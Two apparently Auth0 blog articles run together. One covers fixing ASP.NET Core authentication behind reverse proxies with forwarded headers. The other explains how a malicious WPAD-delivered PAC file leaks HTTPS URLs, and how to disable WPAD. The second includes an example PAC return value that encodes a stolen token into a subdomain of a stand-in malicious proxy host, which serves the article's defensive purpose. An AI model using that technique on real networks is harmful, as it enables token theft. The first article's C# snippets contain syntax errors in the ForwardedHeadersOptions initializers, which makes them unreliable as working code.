andrea-chiarelli

I have over 20 years of experience as a software engineer and technical author. Throughout my career, I've used several programming languages and technologies for the projects I was involved in, ranging from C# to JavaScript, ASP.NET to Node.js, Angular to React, SOAP to REST APIs, etc.

In the last few years, I've been focusing on simplifying the developer experience with Identity and related topics, especially in the .NET ecosystem.

Principal Developer Advocate

Andrea Chiarelli

Learn how to overcome ASP.NET Core authentication configuration issues when your application is behind a proxy, load balancer, gateway, container, or similar system.

When your ASP.NET Core application runs behind a proxy, a load balancer, or even within a container, its authentication flow may break. Let's try to understand why and what solutions we can adopt.

## The Broken Behavior

You have built your awesome ASP.NET Core application and have integrated it with authentication. Everything works like a charm in your local development environment. It's time to deploy it on your stage environment (or do you prefer to go directly into production? 😏).

Let's assume you don't serve your web application directly through a web server. You may need a slightly more complex infrastructure for several reasons:

- Load balancing, caching, compression, and other performance features.
- Request and response processing.
- Request filtering and other security features.
- Portability, process isolation, and other containerization features.

Whatever your reason is, there are chances that your application will run within a container or behind a reverse proxy, a load balancer, an application gateway, etc. Regardless of the specific function, we can call this intermediary between a client and your application a [proxy](https://en.wikipedia.org/wiki/Proxy_server). The following diagram describes this generic scenario:

![Generic proxy scenario](https://images.ctfassets.net/23aumh6u8s0i/4VCtaFCTenYuMYklZY5NRb/3c3e4eda73f1ef68e93592586f477767/generic-proxy-scenario.png)

In this scenario, your awesome application that was perfectly working in your local development environment may stop working.

The specific error depends on your particular environment and configuration, but typically, the type of error falls into one of the following categories:

- The callback URL uses HTTP instead of HTTPS.
- The callback URL uses an internal domain name instead of the public domain name.
- An unexpected error occurs.

Let's take a look at each of these categories in the following subsections considering a scenario with Auth0 as the Identity provider.

### The callback URL uses HTTP instead of HTTPS

Assume that your application is reachable at the address `https://my-awesome-app.com` and everything is correctly configured on the Auth0 side. When you try to authenticate, you get an error similar to the following:

```shell
Callback URL mismatch.
http://my-awesome-app.com/callback is not in the list of allowed callback URLs.
```

Actually, you have registered the callback URL on the Auth0 side, but your registered its scheme as `https` while the error message reports `http`. Why is your actual callback URL using `http`?

Usually, this type of problem occurs when your application runs within a container service such as [Azure Container Apps](https://learn.microsoft.com/en-us/azure/container-apps/overview), [AWS Elastic Container Service](https://aws.amazon.com/ecs/), or other similar services.

### The callback URL does not use the public domain name

Another possible scenario is when you get an error like the following:

```shell
Callback URL mismatch.
https://localhost/callback is not in the list of allowed callback URLs.
```

You correctly defined the callback URL with your domain &mdash; `my-awesome-app.com` &mdash; on the Auth0 dashboard, but your application builds the callback URL using `localhost`. In some scenarios, the domain of the callback URL can be an internal domain, such as the subdomain name assigned to your application instance by Azure or AWS (e.g., `internal-name.azure.com` or `internal-name.amazonws.com`).

Usually, this issue occurs when an application runs behind services like [Azure Gateway](https://azure.microsoft.com/en-us/products/application-gateway/), [Azure Front Door](https://azure.microsoft.com/en-us/products/frontdoor/), [AWS Elastic Load Balancing](https://aws.amazon.com/elasticloadbalancing/), [AWS CloudFront](https://aws.amazon.com/cloudfront/), etc. but also behind reverse proxies like [nginx](https://nginx.org/) or [Caddy](https://caddyserver.com/).

### An unexpected error occurs

Other different errors may occur depending on your specific infrastructure. For example, you may experience error messages like the following:

```shell
An unhandled exception occurred while processing the request. Exception: Correlation failed.
```

This does not directly say what the reason for the problem is, but it may depend on the same scenario we are going to illustrate in a moment.

### A few considerations

Let's consider a few things before analyzing the issue that may cause this type of error and how to solve it.

We mentioned Blazor as the framework used for building your awesome application, but consider it just an example. Any ASP.NET Core-based framework is subject to the problem we described: ASP.NET Core MVC, Blazor, and Razor Pages.

Also, we are using Auth0 as an example of an OpenID Connect Identity provider, but this is NOT a problem on the Auth0 side or the side of other identity providers. It's not even an OpenID Connect problem. As you will learn, it's a problem of ASP.NET Core. Specifically it's a problem with the [OpenID Connect middleware](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.authentication.openidconnect).

> More in general, the problem may affect any web application regardless of its development stack, but we are focusing on ASP.NET Core because of its specific behavior and solution.

## Why Does My Application Not Work?

To understand why these problems occur, you need to know how the ASP.NET Core OpenID Connect middleware works internally &mdash; at least at a high level &mdash; and how the HTTP traffic flows in an infrastructure where proxies are included.

### How OpenID Connect middleware works

To implement user authentication using OpenID Connect, you should implement the details of the [protocol](https://openid.net/specs/openid-connect-core-1_0.html). This would be a daunting task, but fortunately, ASP.NET Core provides specific middleware that alleviates some of this burden.

> The [Auth0 SDK for ASP.NET Core](https://github.com/auth0/auth0-aspnetcore-authentication) makes things even easier, but it also relies on the OpenID Connect middleware, so you cannot avoid the problems we are dealing with here.

Without going into the details of the protocol, one of the tasks of the middleware is to build the URL of the application to which the user's browser will be redirected after authentication. Through this URL, the application receives the authorization code that enables it to get the ID and access tokens. This URL is the so-called **redirect URI** or **callback URL**.

The middleware automatically builds this URL based on internal parameters and uses some properties of the HTTP request to build the base URL.

For example, suppose the middleware handles an HTTP request to `https://example.com/login`. The callback URL will be built as `https://example.com/signin-oidc`.

> If you are using the [Auth0 SDK for ASP.NET Core](https://github.com/auth0/auth0-aspnetcore-authentication), the default callback URL will be `https://example.com/callback`.

As you can see, the base path of the callback URL is the same as the request URL.

### HTTP requests and proxies

Consider the diagram shown above:

![Generic proxy scenario](https://images.ctfassets.net/23aumh6u8s0i/4VCtaFCTenYuMYklZY5NRb/3c3e4eda73f1ef68e93592586f477767/generic-proxy-scenario.png)

As said, the proxy between the client and your application can have several tasks. Reverse proxying is one of these tasks. Basically, a [reverse proxy](https://en.wikipedia.org/wiki/Reverse_proxy) accepts requests from a client and forwards them to one or more applications.

In some scenarios, the reverse proxy is also used as [TLS termination proxy](https://en.wikipedia.org/wiki/TLS_termination_proxy): it encrypts and decrypts communications outside your hosting infrastructure via TLS tunnels. In other words, a reverse proxy accepts secure HTTPS requests but uses plain HTTP to forward the request internally, as highlighted in the following diagram:

![TLS reverse proxy scenario](https://images.ctfassets.net/23aumh6u8s0i/7zUeXNHMR82jeAdX6DyKwC/4443d5a0f9289a16a460b64d2ac85fa7/tls-reverse-proxy-scenario.png)

In this case, your application will receive a request to `http://example.com` and then the middleware will build  `http://example.com/signin-oidc` as the callback URL. This will differ from the allowed callback URL you registered with Auth0, and this is why you will get the first case of error: your callback URL has the HTTP scheme instead of HTTPS.

> We mentioned earlier that the HTTP vs. HTTPS issue often affects applications running within a container service. The reason is that these services use a proxy to route the traffic, and this proxy provides [TLS termination](https://en.wikipedia.org/wiki/TLS_termination_proxy).

In the example above, we supposed that the internal domain name of your application instance is the same as the public one: `example.com`. This rarely happens. Usually, your internal application instance is reachable through an IP address or an internal name, such as `my-app-instance.example.com`, as shown below:

![Reverse proxy internal name scenario](https://images.ctfassets.net/23aumh6u8s0i/1SIzuxF8qhmNPPSZrkBrS4/92126bb3cb0215effb4bfa69b493a474/reverse-proxy-internal-name-scenario.png)

In this case, your application will receive a request to `https://my-app-instance.example.com` and the middleware will build a callback URL as `https://my-app-instance.example.com/signin-oidc`. Again, this URL differs from the allowed callback URL you registered with Auth0. By the way, depending on the configuration of your hosting environment, the internal URL of your application may not be publicly reachable.

Different error messages may arise in other scenarios or configurations, but often the problems are related to this difference between the public address and the internal address of your application.

<include src="Auth0TemplatesForDotnetCTA" />

## How to Fix the Broken Behavior

Once you understand why these errors occur, it's time to learn how to fix these issues.

As you learned in the previous section, when your ASP.NET Core application runs behind a reverse proxy, load balancer, or similar network component, it may lose access to some information coming with the original HTTP request. You need a way to access this information and provide it to the OpenID Connect middleware to build a correct callback URL.

### Meet the `X-Forwarded-*` headers

Most reverse proxies forward the original HTTP request data through specific HTTP headers. The most common are:

- `X-Forwarded-For`. This header contains the IP address of the original client.
- `X-Forwarded-Host`. This one has the original value of the `Host` header included in the original client's request.
- `X-Forwarded-Proto`. In this header, you can find the protocol used for the original request &mdash; HTTP or HTTPS.

Thanks to these headers, you can access the relevant values of the original HTTP request and build your callback URL correctly.

Despite what is commonly thought, `X-Forwarded-*` headers do not derive from an official standard but are so widely used that they can be considered a de facto standard. Actually a [standard](https://datatracker.ietf.org/doc/html/rfc7239) exists and it's based on a single header: [Forwarded](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Forwarded). However, the `X-Forwarded-*` headers are still more popular.

> Make sure your proxy is correctly configured in order to trust the values forwarded via `X-Forwarded-*` headers. In fact, the client's request may go through a chain of proxies on the Internet, and if your proxy simply forwards the  `X-Forwarded-*` headers it receives, you may be exposed to security risks.  Well-configured proxies don’t accept forwarded headers. Instead, they populate these headers with reliable values like the TCP connection and original HTTP headers such as `Host`.
> Read [this article](https://blog.ircmaxell.com/2012/11/anatomy-of-attack-how-i-hacked.html) for an example of security issues to which a misconfigured proxy can lead.

### Using Forwarded Headers middleware

Fortunately, you don't need to directly access HTTP requests to extract the values of `X-Forwarded-*` headers. ASP.NET Core provides you with middleware that simplifies your life: the *Forwarded Headers middleware* implemented by the [ForwardedHeadersMiddleware](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.httpoverrides.forwardedheadersmiddleware) class.

Basically, this middleware extracts the original values of the client request forwarded by the proxy and makes them available to you as first-hand values of the `Request` object. This saves you from writing specific code for your application when it runs behind a proxy.

To enable the Forwarded Headers middleware, include it in the request pipeline of your application by adding the line highlighted below to your `Program.cs` file:

```csharp
// Program.cs

//...existing code

var app = builder.Build();

//👇 new code
app.UseForwardedHeaders(new ForwardedHeadersOptions
{
  ForwardedHeaders = ForwardedHeaders.XForwardedProto |
                     ForwardedHeaders.XForwardedHost;
});
//👆 new code

app.UseAuthentication();

//...existing code
```

> Make sure you call the `UseForwardedHeaders()` method before other middleware. The middleware order is important, and adding it as the first middleware in the request pipeline ensures that the values of the original request are propagated consistently.

In the example above, you enabled the mapping of the `X-Forwarded-Proto` and `X-Forwarded-Host` headers, which are needed to make the OpenID Connect middleware build the callback URL correctly. In addition, any statement that accesses `HttpContext.Request.Scheme` and `HttpContext.Request.Host` will get the value coming from the original request.

Optionally, you can also configure the Forwarded Headers middleware to only accept `X-Forwarded-*` headers coming from a trusted proxy, as shown in the following code snippet:

```csharp
// Program.cs

//...existing code

var app = builder.Build();

app.UseForwardedHeaders(new ForwardedHeadersOptions
{
  ForwardedHeaders = ForwardedHeaders.XForwardedProto |
                     ForwardedHeaders.XForwardedHost;
  KnownProxies.Add(IPAddress.Parse("10.0.0.42"); //👈 new code
});

//...existing code
```

You can also add multiple trusted proxies and configure the middleware to accept custom header names. See the [documentation](https://learn.microsoft.com/en-us/aspnet/core/host-and-deploy/proxy-load-balancer) for more details.

> Not all proxies or other network appliances add the `X-Forwarded-*` headers by default. They may need additional configuration. Consult their documentation to learn how to configure it.

<include src="SignupCTA" text="Try out Auth0 authentication for free." linkText="Get started →" />

### No code alternative?

If you don't want to or cannot change the code of your ASP.NET Core application, an alternative exists. You can set the environment variable `ASPNETCORE_FORWARDEDHEADERS_ENABLED` to `true`, and the Forwarded Headers middleware is automatically added to the request pipeline and configured.

While this approach is very convenient, unfortunately [it only maps](https://github.com/dotnet/aspnetcore/blob/v8.0.10/src/DefaultBuilder/src/ForwardedHeadersOptionsSetup.cs) the `X-Forwarded-For` and `X-Forwarded-Proto` headers. This means that it could not be sufficient if your scenario also requires using the original host name, as in the authentication case we are discussing here. Also, consider that this approach does not allow you to define your trusted proxies and handle customized headers.

## Conclusion

Now you know the type of errors you can run into when you publish your application on an infrastructure a little more complex than a simple web server.

We have explored a number of cases where OpenID Connect-based authentication no longer works due to the loss of original HTTP request information. However, we have seen how to fix the problem simply by using the Forwarded Headers middleware.

Before concluding, we want to highlight that this type of problem is related to more than just authentication. It involves any functionality that requires dynamic URL generation, as well as client geolocation and other processing based on the client's original request. For more information on the different scenarios, see [this document](https://learn.microsoft.com/en-us/azure/architecture/best-practices/host-name-preservation).


ASP.NET Core Authentication Behind Proxies

001c9ddc5ceb9829b6aaf24f5d28502a

I am software developer with a keen interest in open-source technologies, Linux, and native development. I've worked on many different platforms Android, iOS, Win32, Linux, FreeRTOS, the Web, and others. I've gone through the whole stack and I enjoy learning and using the latest technologies. I now work as a full-stack developer at Auth0.

Senior Engineer

Sebastian Peyrott

WPAD + Proxy Automatic Configuration (PAC) can be used to thwart HTTPS protected URLs



[Dan Goodin from ArsTechnica](http://arstechnica.com/security/2016/07/new-attack-that-cripples-https-crypto-works-on-macs-windows-and-linux/) recently brought to light the subject of one of the talks from this year's BlackHat conference: [Crippling HTTPS With Unholy PAC](https://www.blackhat.com/us-16/briefings.html#crippling-https-with-unholy-pac). Although the conference will be carried out in the next few days, the abstract for the talk gives enough information to know what's going on: due to the way proxy automatic configuration (PAC) works, protected information may be leaked to observers, even when HTTPS is used. We'll talk about why you should care and what to do about it.

<include src="TweetQuote" quoteText="Due to the way PAC works, HTTPS protected URLs can be leaked"/>

-----

## Proxies and HTTPS
Proxies are special web servers that act as a middle man between clients and other servers. Proxy servers receive requests from clients and then forward them to their targets. Some proxy servers perform certain manipulations of the data contained in the requests (both the actual request and the server's response). Most of the time, however, these manipulations are little more than allowing, denying or caching the request.

Proxy servers can do much more with unencrypted connections. By acting as a middle-man, on-the-fly modifications to the requests and responses are possible.

HTTPS establishes a limit to what things are possible for men-in-the-middle. By keeping the whole HTTP exchange encrypted, it is not possible for eavesdroppers to read any of the data in the request, not even the headers or the request paths. In other words, even in the presence of proxies, HTTPS communications remain secure. Or is that so?

> HTTPS and TLS rely on a chain of certificates to remain secure. If this chain of certificates is tampered or modified in any way, man-in-the-middle attacks become possible. For instance, it is possible for an organization which controls employee computers to install their own root certificate in the chain of trusted certificates. By doing so, and forcing employees to use their internal proxy, the organization can transparently read and modify all data that goes through their network. This is an effective man-in-the-middle attack giving full access to all HTTPS encrypted data (Gmail, Facebook, Bank, etc.).

### Legitimate uses of proxies
Although it may seem at first proxies can only do bad things, there are legitimate use cases for them. A caching proxy can take a look at identical requests within a timeframe and avoid unnecessary network load. An anonymous proxy can make access to sensitive information possible for people controlled by the government (think totalitarian regimes). Content-filtering proxies may filter data according to an acceptable use policy (in public places, for example). 

## Proxy Auto Configuration (PAC)
Although proxies can be configured manually (on a per-app or system-level basis), a proxy automatic configuration (PAC) file is used many times. The PAC file contains instructions on how the application (usually a browser) must access a specific host. The PAC file is a JavaScript file. This system was designed by Netscape for Netscape Navigator 2.0 (1996) and is still in use today.

A sample PAC file:

```javascript
function FindProxyForURL(url, host) {
 
// If the hostname matches, send direct.
    if (dnsDomainIs(host, "intranet.domain.com") ||
        shExpMatch(host, "(*.abcdomain.com|abcdomain.com)"))
        return "DIRECT";
 
// If the protocol or URL matches, send direct.
    if (url.substring(0, 4)=="ftp:" ||
        shExpMatch(url, "http://abcdomain.com/folder/*"))
        return "DIRECT";
 
// If the requested website is hosted within the internal network, send direct.
    if (isPlainHostName(host) ||
        shExpMatch(host, "*.local") ||
        isInNet(dnsResolve(host), "10.0.0.0", "255.0.0.0") ||
        isInNet(dnsResolve(host), "172.16.0.0",  "255.240.0.0") ||
        isInNet(dnsResolve(host), "192.168.0.0",  "255.255.0.0") ||
        isInNet(dnsResolve(host), "127.0.0.0", "255.255.255.0"))
        return "DIRECT";
 
// If the IP address of the local machine is within a defined
// subnet, send to a specific proxy.
    if (isInNet(myIpAddress(), "10.10.5.0", "255.255.255.0"))
        return "PROXY 1.2.3.4:8080";
 
// DEFAULT RULE: All other traffic, use below proxies, in fail-over order.
    return "PROXY 4.5.6.7:8080; PROXY 7.8.9.10:8080";
}
```

The PAC file contains a single function: `FindProxyForURL`. This function is called by the application whenever a new connection to a host is to be established. The function must return the type of connection (direct or proxied). If the connection is to be proxied, it also returns the details on how to connect to the proxy. 

> `isInNet`, `myIpAddress`, `shExpMatch`, `dnsDomainIs` are all functions defined by the PAC spec and available for PAC files. Here is a list of [all available functions](http://findproxyforurl.com/pac-functions/).

To configure a proxy using this file, one can point a browser to its URI. This file is usually hosted locally or at an accessible location inside the local network. With a PAC file, rather than setting the proxy manually for each (or all hosts), one can rely on its functionality. This simplifies configuration somewhat. Things can be easier, though.

### Web-Proxy Auto Discovery (WPAD)
With PAC files, we have gone from manually setting proxies for hosts to simply pointing a web browser to a file in the internal network. This requires a configuration step, however. We can do better: automatic discovery of the PAC file! This is precisely what the Web-Proxy Auto Discovery (WPAD) protocol does.

With WPAD enabled, a browser will perform special requests against the DHCP and DNS servers set up in the network. These requests attempt to get the PAC file described before.

When WPAD is enabled inside a local network, all clients with WPAD enabled will automagically get the right proxy settings. There is no need to set the URL for the PAC file in each new client. For big organizations this is a win.

Setting up WPAD in DHCP and DNS servers is usually a matter of editing one or two lines in config files.

> To learn how to set up WPAD in your DHCP and DNS servers, head over to [FindProxyForURL.com](http://findproxyforurl.com/deploying-wpad/).

Firefox and Chrome only support WPAD through DNS queries. Internet Explorer supports both DHCP and DNS.

## A Malicious PAC file
Now that we understand proxies, PAC and WPAD, we can take a look at how this actually helps us circumvent HTTPS. The issue lies in an implementation detail regarding the use of the `FindProxyForURL` function.

As explained above, when a browser is about to establish a new connection to a host, it must first call the `FindProxyForURL` function from the PAC file. This function takes two arguments:

```javascript
function FindProxyForURL(url, host) {
    // (...)
}
```

- **url**: the full URL for the request to be performed by the client.
- **host**: only the host part of the URL.

And *this* is precisely where the information leaks happens. **With HTTPS, the actual path of the URL is protected**. Only the host is known to third parties (as it is seen when establishing the TCP connection).

The PAC specification was devised in 1996. HTTPS only saw a major uptake from the year 2000 onwards. Up to then, SSL and TLS were available but not used that much. To be fair, SSL had been available in one way or another since 1995, so the PAC spec should have considered this. Still, in those years people were still trying to come up with a [working SSL protocol](https://en.wikipedia.org/wiki/Transport_Layer_Security#History_and_development). It is fair to say interactions with ad-hoc protocols such as PAC and WPAD was not of much concern.

As HTTPS protects URL paths, many applications rely on this functionality. Take for instance [OAuth2](https://tools.ietf.org/html/rfc6749): it relies on redirects between the resource owner, the authorization server and the client. These redirects may encode security tokens as part of the URL. The OAuth2 spec even warns about this:

> The redirection endpoint SHOULD require the use of TLS as described in Section 1.6 when the requested response type is "code" or "token", or when the redirection request will result in the transmission of sensitive credentials over an open network. - [**RFC 6749, section 3.1.2.1**](https://tools.ietf.org/html/rfc6749#section-3.1.2.1).

A malicious PAC file would have access to this information. It could then proceed to *leak* this information to an attacker. A simple way to do so would be to encode the information in the subdomain part of the proxy URL. For instance, once the important information is collected, the `FindProxyForURL` function could simply return:

```
"PROXY token.2348ab92ab34cdeaf.malicous-proxy.org:8080"
```

This would in turn cause a DNS lookup with the leaked token. If the attacker controls the DNS server (and this is pretty much possible with a fast DHCP server), he or she would then have retrieved the data. Another option for the attacker would be to simply make a direct DNS request using the `dnsResolve` function available from inside the PAC file.

### WPAD Considered Harmful
Although the problem is not directly linked to WPAD, it does compound the problem. An attacker could simply set a rogue (but fast) DHCP server in a shared network, then proceed to hand out malicious DNSs that point to their PAC file. All clients with WPAD enabled would silently fall into the trap. And they would do so transparently. As long as the malicious proxy, DNS and DHCP servers are fast enough, users won't notice. Only a security conscious user may for any reason access the proxy settings of their computer and then take note a proxy is in use. Still, they would not realize of the malicious behaviour until checking the PAC file or the network requests performed against the proxy.

As another abstract from the upcoming BlackHat conference describes, WPAD attacks, although known for a while, are *still* a source for concern:

> The DNS portion of the experiment revealed more than 38 million requests to the WPAD honeypot domain names from oblivious customers. - [**BADWPAD BlackHat 2016 talk abstract**](https://www.blackhat.com/us-16/briefings.html#badwpad)

### A Sensible Fix
A sensible fix has been implemented by Microsoft. As of Internet Explorer 11 and the Edge browser, the URL argument passed to the `FindProxyForURL` function is truncated to only include the host. There is little reason for a PAC file to require access to the path to compute the right proxy for a host. If there is a legitimate PAC file out there that does this, a better alternative must surely be available.

Other browsers, however, still pass the full URL to the `FindProxyForURL` function. Therefore, the only way to make sure you are not exposed to the attack is to *make sure WPAD is disabled*. If you require a PAC file for setting up the proxy, then manually setting the URL to it is an option. Most systems allow for per-network settings. There is no reason to keep WPAD enabled.

### Making sure WPAD is disabled
#### macOS
1. Go to System Preferences (Apple menu -> System Preferences).
2. Go to Network and pick the currently active connection.
3. Select Advanced, then Proxies.
4. Make sure "Auto Proxy Discovery" is unchecked.

![macOS proxy settings](https://images.ctfassets.net/23aumh6u8s0i/7ivvHG10l4BDqmyhkM3B6c/b428402853310aca9d22bd41b7d5058a/macos)

This is of particular importance for WiFi networks. Most laptops connect inadvertently to public WiFi access points. If you are using a wired connection, make sure WPAD is disabled for WiFi as well.  

#### Windows
The following steps work for Windows 10:

1. Click the Windows logo on the bottom left corner and select `Settings`.
2. Select `Network & Internet`.
3. Select `Proxy` from the list on the left.
4. Make sure "Automatically Detect Settings" is disabled.

![Windows 10 proxy settings](https://images.ctfassets.net/23aumh6u8s0i/5y2uBed02BEtHIhQBJqKor/6abf2e577186561e39b681b162673116/win10)

The following steps work for Windows 8 and 8.1:

1. Press `Win + C` or move the mouse pointer to the lower left corner of the screen.
2. Select `Change PC Settings`.
3. Select `Network` and then pick `Proxy` from the list on the left.
4. Make sure "Automatically Detect Settings" is disabled. This screen is identical to the one from Windows 10.

The following steps work for Windows XP, Windows Vista and Windows 7:

1. Click `Start` or the Windows logo and then find `Control Panel`.
2. In the control panel select `Internet Options`.
3. Go to the `Connections` tab and select `LAN Settings`.
4. Make sure "Automatically detect settings" is disabled.

![Windows XP/Vista/7 proxy settings](https://images.ctfassets.net/23aumh6u8s0i/1h1INX0t15fyAjSQ7UoPwA/78fdf35e57a21b251afc73ffba0f612c/win7)

#### Linux
There are many ways to configure networks in Linux systems. The following steps work for Linux systems using [NetworkManager](https://en.wikipedia.org/wiki/NetworkManager) to manage network settings on GNOME 3.20. NetworkManager is the default network manager for Ubuntu, Fedora, RedHat Linux and OpenSUSE. In case you are using netctl, ConnMan or other network manager, check the docs for them.

1. Move the mouse to the top right corner and click on the wired or wireless icon.
2. Select the "wrench and screwdriver" icon.
3. Select `Network`, then pick `Network proxy` from the list on the left.
4. Make sure the `Method` combobox is set to `None` or `Manual`.

![GNOME + NetworkManager proxy settings](https://images.ctfassets.net/23aumh6u8s0i/5X7vtQoJk2cFSa1wnOEvCW/72f96d87303c96d6defe9693adb059a5/linux) 

## Other Possible Attacks
WPAD DNS lookups rely on using a "fake" URL to a potential WPAD file. The DNS server must notice this and then proceed to point the browser to the host address where this file is located. By hijacking these requests, it is possible to point users to malicious PAC files. This attack could conceivably be performed in a WAN, when the right conditions for DNS settings and registered names are met. See the [WPAD Name Collision Vulnerability report TA16-144A from US-CERT](https://www.us-cert.gov/ncas/alerts/TA16-144A).

In other words, WPAD posses a security risk when enabled. Its semantics are not entirely clear, and implementations have been inconsistent across browsers, DNS servers and DHCP servers, opening the possibility for more attacks.

## Conclusion: WPAD considered harmful
Malicious PAC files are a security problem. WPAD makes it possible for malicious PAC files to find their way to their system without users knowing. HTTPS connections provide adecuate protection against man-in-the-middle attacks, but implementation details regarding the use of PAC files make some browsers leak crucial information contained in URLs, information that should be protected by HTTPS. Until browsers correct this, the only sensible solution is to disable WPAD and setup proxies manually.

<include src="TweetQuote" quoteText="The only sensible solution is to disable WPAD and setup proxies manually."/>


"proxy configuration"